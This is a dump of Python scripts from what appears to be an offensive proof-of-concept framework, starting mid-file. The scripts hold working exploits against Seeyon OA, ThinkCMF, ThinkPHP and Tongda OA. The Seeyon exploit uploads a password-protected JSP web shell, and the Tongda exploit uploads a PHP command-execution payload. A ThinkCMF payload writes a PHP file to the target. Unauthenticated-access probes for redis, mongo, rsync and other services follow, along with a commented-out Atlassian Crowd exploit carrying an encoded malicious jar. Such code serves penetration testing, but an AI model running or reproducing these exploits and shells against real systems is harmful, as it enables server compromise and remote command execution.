range(int(group) - 1): 23 | j = i * 4 24 | s = cipherlist[j:j + 4] 25 | string += chr(((base64list.index(s[0])) << 2) + ((base64list.index(s[1])) >> 4)) 26 | string += chr(((base64list.index(s[1]) & 0x0f) << 4) + ((base64list.index(s[2])) >> 2)) 27 | string += chr(((base64list.index(s[2]) & 0x03) << 6) + ((base64list.index(s[3])))) 28 | j = (group - 1) * 4 29 | print(j) 30 | s = cipherlist[int(j):int(j) + 4] 31 | string += chr(((base64list.index(s[0])) << 2) + ((base64list.index(s[1])) >> 4)) 32 | if s[2] == '6': 33 | return string 34 | else: 35 | string += chr(((base64list.index(s[1]) & 0x0f) << 4) + ((base64list.index(s[2])) >> 2)) 36 | if s[3] == '6': 37 | return string 38 | else: 39 | string += chr(((base64list.index(s[2]) & 0x03) << 6) + ((base64list.index(s[3])))) 40 | return string 41 | 42 | def f_base64encode(input_str): 43 | base64list = 'gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6' 44 | str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', '')) 45 | for i in input_str] 46 | output_str = '' 47 | equal_num = 0 48 | while str_ascii_list: 49 | temp_list = str_ascii_list[:3] 50 | if len(temp_list) != 3: 51 | while len(temp_list) < 3: 52 | equal_num += 1 53 | temp_list += ['0' * 8] 54 | temp_str = ''.join(temp_list) 55 | temp_str_list = [temp_str[x:x + 6] for x in [0, 6, 12, 18]] 56 | temp_str_list = [int(x, 2) for x in temp_str_list] 57 | if equal_num: 58 | temp_str_list = temp_str_list[0:4 - equal_num] 59 | output_str += ''.join([base64list[x] for x in temp_str_list]) 60 | str_ascii_list = str_ascii_list[3:] 61 | output_str = output_str + '6' * equal_num 62 | # print(output_str) 63 | return output_str 64 | 65 | def poc(url): 66 | # url = "www.example.org/default.html?ct=32&op=92&item=98" 67 | # --> http://www.example.org 68 | if url[:4] != "http": 69 | url = "http://" + url 70 | o = urlparse(url) 71 | url = o.scheme + "://" + o.netloc 72 | headers = { 73 | "User-Agent":get_random_ua() 74 | } 75 | 76 | # shell_name can modify it yourself 77 | shell_name="config_db1.jsp" 78 | 79 | shell_url = url + "/seeyon/" + shell_name 80 | 81 | try: 82 | # just prevent being attacked 83 | res = request.get(shell_url, headers=headers, timeout=5, allow_redirects=False, verify=False) 84 | if res.status_code == 200 and ":-)" in res.text: 85 | return shell_url+'?pwd=fuckxxxx&cmd=cmd /c whoami' 86 | except: 87 | pass 88 | 89 | shell_name = "..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\" + shell_name 90 | # def_shell content can modufy iy youself 91 | def_shell = """<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("fuckxxxx".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd")) + "
");}else{out.println(":-)");}%>""" 92 | def_shell = def_shell.encode() 93 | base_header = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkZUFENXlSUUh3TG9pcVJqaWRnNjYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo=" 94 | 95 | payload_head_len = 283 + len(f_base64encode(shell_name)) 96 | payload_shell_len = len(def_shell) 97 | payload_shell = def_shell + bytes(hashlib.md5(def_shell).hexdigest(), 'utf-8') 98 | payload_shell_name = f_base64encode(shell_name) 99 | payload = bytes(base64.b64decode(base_header).decode().replace('355', str(payload_head_len)).replace('666', str( 100 | payload_shell_len)).replace('qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeAD5yRQHwLoiqRjidg66', 101 | payload_shell_name), 'utf-8') + payload_shell 102 | try: 103 | request.post(url=url + "/seeyon/htmlofficeservlet", data=payload, headers=headers, timeout=5, allow_redirects=False, verify=False) 104 | res = request.get(url=shell_url, headers=headers, timeout=5, allow_redirects=False, verify=False).text 105 | except: 106 | return False 107 | 108 | if ":-)" in res: 109 | return shell_url+'?pwd=fuckxxxx&cmd=cmd /c whoami' 110 | else: 111 | return False 112 | -------------------------------------------------------------------------------- /scripts/source_leak_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | """ 9 | Copyright (c) pocframe (https://github.com/r0ckysec/pocframe) 10 | See the file 'LICENSE' for copying permission 11 | 检测信息泄露,协程异步请求 12 | """ 13 | 14 | import gevent 15 | from gevent.queue import Queue 16 | from lib.core.data import paths 17 | from lib.core.Request import request 18 | from urllib.parse import urlparse 19 | from plugin.random_ua import get_random_ua 20 | 21 | def poc(url): 22 | # url = "http://www.example.org/default.html?ct=32&op=92&item=98" 23 | # --> http://www.example.org 24 | if url[:4] != "http": 25 | url = "http://" + url 26 | o = urlparse(url) 27 | url = o.scheme + "://" + o.netloc 28 | result = [] 29 | payloads = Queue() 30 | with open(paths.DATA_PATH + '/source_leak_check_payload.txt') as f: 31 | for payload in f.read().splitlines(): 32 | payloads.put(payload) 33 | # 这里设置100个协程,payload有144个 34 | gevent.joinall([gevent.spawn(bak_scan, url, payloads, result) for i in range(100)]) 35 | if result: 36 | return result 37 | else: 38 | return False 39 | 40 | def bak_scan(url, payloads, result): 41 | headers = { 42 | "User-Agent":get_random_ua() 43 | } 44 | while not payloads.empty(): 45 | payload = payloads.get() 46 | vulnurl = url + "/" + payload 47 | try: 48 | flag = 0 49 | # 如果是备份文件则不需要下载,只需要head方法获取头部信息即可,否则文件较大会浪费大量的时间 50 | if 'zip' in payload or 'rar' in payload or 'gz' in payload or 'sql' in payload: 51 | req = request.head(vulnurl, headers=headers, timeout=5, allow_redirects=False, verify=False) 52 | # 404页面 'Content-Type': 'application/octet-stream', 53 | # zip 'application/x-zip-compressed' 'application/zip' 54 | # rar 'application/octet-stream' 'application/x-rar-compressed' 55 | # 采用Content-Type过滤,还是有一定误报 56 | if req.status_code == 200: 57 | if 'html' not in req.headers['Content-Type'] and 'image' not in req.headers['Content-Type']: 58 | flag = 1 59 | # 当检验git和svn、hg时则需要验证返回内容,get方法 60 | else: 61 | req = request.get(vulnurl, headers=headers, timeout=5, verify=False, allow_redirects=False) 62 | if req.status_code == 200: 63 | if 'svn' in payload: 64 | if 'dir' in req.text and 'svn' in req.text: 65 | flag = 1 66 | elif 'git' in payload: 67 | if 'repository' in req.text: 68 | flag = 1 69 | elif 'hg' in payload: 70 | if 'hg' in req.text: 71 | flag = 1 72 | elif '/WEB-INF/web.xml' in payload: 73 | if 'web-app' in req.text: 74 | flag = 1 75 | if flag == 1: 76 | result.append(vulnurl) 77 | except Exception as e: 78 | # print(e) 79 | continue -------------------------------------------------------------------------------- /scripts/test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | 测试用例 11 | """ 12 | 13 | import random 14 | import time 15 | from lib.core.Request import request 16 | import traceback 17 | 18 | def poc(url): 19 | return request.get("http://ipconfig.me/ip").text 20 | 21 | -------------------------------------------------------------------------------- /scripts/thinkcmf_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | ThinkCMF框架的任意内容包含漏洞可shell 11 | ThinkCMF X1.6.0 12 | ThinkCMF X2.1.0 13 | ThinkCMF X2.2.0 14 | ThinkCMF X2.2.1 15 | ThinkCMF X2.2.2 16 | refer: https://www.freebuf.com/vuls/217586.html 17 | author: B1ain 18 | """ 19 | from lib.core.Request import request 20 | from plugin.target_parse import get_standard_url 21 | 22 | url_payload = """/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('secquan.php',base64_decode('PD9waHAgZWNobygiYnVnIGV4aXN0Iik7Pz4='))""" 23 | 24 | def poc(url): 25 | headers = { 26 | 'Content-Type': 'application/x-www-form-urlencoded', 27 | } 28 | target = get_standard_url(url) 29 | url = target + url_payload 30 | try: 31 | res = request.get(url, headers=headers, timeout=5, allow_redirects=False, verify=False) 32 | if res.status_code == 200: 33 | url2 = target + "/secquan.php" 34 | res2 = request.get(url2, headers=headers, timeout=5, allow_redirects=False, verify=False) 35 | if "bug exist" in res2.text: 36 | return target + "/secquan.php" 37 | except: 38 | pass 39 | return False 40 | -------------------------------------------------------------------------------- /scripts/thinkphp_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import sys 10 | from lib.core.Request import request 11 | # try : 12 | # import tldextract 13 | # except: 14 | # print('Cant import tldextract \nTry \"pip install tldextract\"') 15 | # sys.exit() 16 | 17 | def poc(domain_url): 18 | try: 19 | # if "https://" in domain_url: 20 | # protocol = "https://" 21 | # else: 22 | # protocol = "http://" 23 | 24 | # return to top path 25 | # 'https://www.xiaogeng.com.cn/admin.php?id=6'==>'https://www.xiaogeng.com.cn' 26 | #key_tmp = tldextract.extract(domain_url) 27 | #domain_url = protocol + key_tmp.subdomain + '.' + key_tmp.domain+'.' + key_tmp.suffix 28 | 29 | if "http" not in domain_url: 30 | domain_url = "http://" + domain_url 31 | 32 | 33 | poc0 = '/index.php/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1' 34 | poc1 = '/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1' 35 | poc2 = '/index.php/?s=index/\\think\Request/input&filter=phpinfo&data=1' 36 | poc3 = '/index.php?s=/index/\\think\\request/cache&key=1|phpinfo' 37 | poclist = [poc0,poc1,poc2,poc3] 38 | headers = { 39 | "Accept": "*/*", 40 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50", 41 | "X-Forwarded-For":"192.168.1.1" 42 | } 43 | for poc in poclist: 44 | r = request.get(domain_url + poc, headers=headers,verify=False, timeout =10,allow_redirects=False) 45 | if "PHP Version" in r.text: 46 | return domain_url + poc 47 | 48 | return 0 49 | except Exception as e: 50 | return 0 51 | 52 | -------------------------------------------------------------------------------- /scripts/tongda_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | """ 9 | descr: https://www.anquanke.com/post/id/201174 10 | refer: https://github.com/fuhei/tongda_rce 11 | """ 12 | 13 | 14 | from lib.core.Request import request 15 | import re 16 | from plugin.target_parse import get_standard_url 17 | 18 | 19 | def poc(url): 20 | try: 21 | url1 = get_standard_url(url) + '/ispirit/im/upload.php' 22 | headers = { 23 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", 24 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 25 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", 26 | "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", 27 | "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"} 28 | data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"f.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nexec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n" 29 | result = request.post(url1, headers=headers, data=data, timeout=5, verify=False) 30 | 31 | name = "".join(re.findall("2003_(.+?)\|", result.text)) 32 | url2 = get_standard_url(url) + '/ispirit/interface/gateway.php' 33 | headers = { 34 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", 35 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 36 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", 37 | "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", 38 | "Content-Type": "application/x-www-form-urlencoded"} 39 | data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "echo fffhhh"} 40 | result = request.post(url2, headers=headers, data=data, timeout=5, verify=False) 41 | if result.status_code == 200 and 'fffhhh' in result.text: 42 | # print("[+] Remote code execution vulnerability exists at the target address") 43 | return get_standard_url(url) 44 | else: 45 | return False 46 | except: 47 | pass 48 | -------------------------------------------------------------------------------- /scripts/unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | # description: 未授权测试 9 | # 可参考文章 https://xz.aliyun.com/t/6103 10 | 11 | import threading 12 | import socket 13 | from lib.core.Request import request 14 | from plugin.target_parse import get_standard_url, url2ip 15 | import re 16 | import binascii 17 | from ftplib import FTP 18 | import urllib3 19 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 20 | 21 | def redis(host, result, ports=[6379]): 22 | """ 23 | :param host: 目标host 24 | :param ports: 目标端口,列表形式 (可选) 25 | :return: 结果,列表形式 26 | """ 27 | socket.setdefaulttimeout(3) 28 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 29 | for port in ports: 30 | try: 31 | s = socket.socket() 32 | s.connect((host, port)) # 未开放端口会引发ConnectionRefusedError异常 33 | s.send(payload.encode('utf-8')) 34 | recv_data = s.recv(1024) # 未开redis则引发socket.timeout异常 35 | s.close() 36 | if recv_data and b'redis_version' in recv_data: 37 | result.append(f"redis: {host}:{port}") 38 | except: 39 | pass 40 | 41 | 42 | 43 | def mongo(host, result, ports=[27017]): 44 | """ 45 | :param host:目标host 46 | :param ports: 目标端口,列表形式 (可选) 47 | :return: 列表形式的结果,比如[] 或者 ['mongodb: 112.25.75.181:27017'] 48 | """ 49 | socket.setdefaulttimeout(3) 50 | payload = binascii.a2b_hex( 51 | "430000000300000000000000d40700000000000061646d696e2e24636d640000000000ffffffff1c000000016c69737444617461626173657300000000000000f03f00") 52 | for port in ports: 53 | try: 54 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 55 | s.connect((host, port)) 56 | s.send(payload) 57 | recv_data = s.recv(500) 58 | if "databases".encode('utf-8') in recv_data: 59 | result.append(f"mongodb: {host}:{port}") 60 | except: 61 | pass 62 | 63 | 64 | def genkins(host, result, ports=[8080]): 65 | for port in ports: 66 | try: 67 | payload = f"http://{host}:{port}/manage" 68 | r = request.get(payload, timeout=5, allow_redirects=False, verify=False) 69 | if "genkins" in r.text: 70 | result.append(f"genkins: {payload}") 71 | except: 72 | pass 73 | 74 | 75 | def memcached(host, result, ports=[11211]): 76 | socket.setdefaulttimeout(3) 77 | for port in ports: 78 | try: 79 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 80 | s.connect((host, port)) 81 | s.send("stats\r\n".encode()) 82 | recv_data = s.recv(1024) 83 | s.close() 84 | if recv_data and b"STAT version" in recv_data: 85 | result.append(f"memcached: {host}:{port}") 86 | except: 87 | pass 88 | 89 | 90 | def jboss(host, result, ports=[8080]): 91 | for port in ports: 92 | try: 93 | payload = f"http://{host}:{port}/jmx-console/" 94 | r = request.get(payload, timeout=5, allow_redirects=False, verify=False) 95 | if "jboss" in r.text: 96 | result.append(f"jboss: {payload}") 97 | except: 98 | pass 99 | 100 | 101 | def zookeeper(host, result, ports=[2181]): 102 | socket.setdefaulttimeout(3) 103 | for port in ports: 104 | try: 105 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 106 | s.connect((host, port)) 107 | s.send("envi".encode()) 108 | recv_data = s.recv(1024) 109 | s.close() 110 | if b'Environment' in recv_data: 111 | result.append(f"zookeeper: {host}:{port}") 112 | except: 113 | pass 114 | 115 | 116 | def rsync(host, result, ports=[873]): 117 | # 代码参考https://raw.githubusercontent.com/ysrc/xunfeng/master/vulscan/vuldb/rsync_weak_auth.py 118 | def _rsync_init(host, port): 119 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 120 | socket.setdefaulttimeout(3) 121 | s.connect((host, port)) 122 | s.send("@RSYNCD: 31\n".encode()) 123 | _ = s.recv(1024) 124 | return s 125 | 126 | for port in ports: 127 | try: 128 | # 获取目录 129 | s = _rsync_init(host, port) 130 | s.send(bytes.fromhex('0a')) 131 | recv_data = s.recv(1024) 132 | s.close() 133 | paths = [] 134 | if recv_data: 135 | for path_name in re.split('\n', recv_data.decode()): 136 | if path_name and not path_name.startswith('@RSYNCD: '): 137 | paths.append(path_name.split('\t')[0].strip()) 138 | # print(f"获取目录字节-----{recv_data}") 139 | # print(f"获取到的目录为-----------{paths}") 140 | 141 | # 尝试看下是否可以未授权访问 142 | for path in paths: 143 | s = _rsync_init(host, port) 144 | s.send(f"{path}\n".encode()) 145 | recv_data = s.recv(1024) 146 | # print(f"尝试未授权访问接受的字节-----------{recv_data}") 147 | 148 | if recv_data.decode() == '\n': 149 | recv_data = s.recv(1024) 150 | # 以下说明是未授权访问 151 | if recv_data.decode().startswith('@RSYNCD: OK'): 152 | result.append(f"rsync: {host}:{port}/{path}") 153 | s.close() 154 | 155 | except: 156 | pass 157 | 158 | # def atlassian_crowd(host, ports=[8095]): 159 | # # CVE-2019-11580 160 | # # 代码来自https://github.com/jas502n/CVE-2019-11580 161 | # # data decode还有点问题 162 | # result = [] 163 | # 164 | # for port in ports: 165 | # try: 166 | # upload_url = f"http://{host}:{port}/crowd/admin/uploadplugin.action" 167 | # r = request.get(upload_url, timeout=5, allow_redirects=False, verify=False) 168 | # if r.status_code == 400: 169 | # url_vuln = f"http://{host}:{port}/crowd/admin/uploadplugin.action" 170 | # headers = { 171 | # 'User-Agent': 'curl/7.29.0', 172 | # 'Accept': '*/*', 173 | # 'Content-Length': '5739', 174 | # 'Expect': '100-continue', 175 | # 'Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7' 176 | # } 177 | # s = "2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2ee6b4616895166e00d31ead91c3ab6e797cb2f4c28882bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f186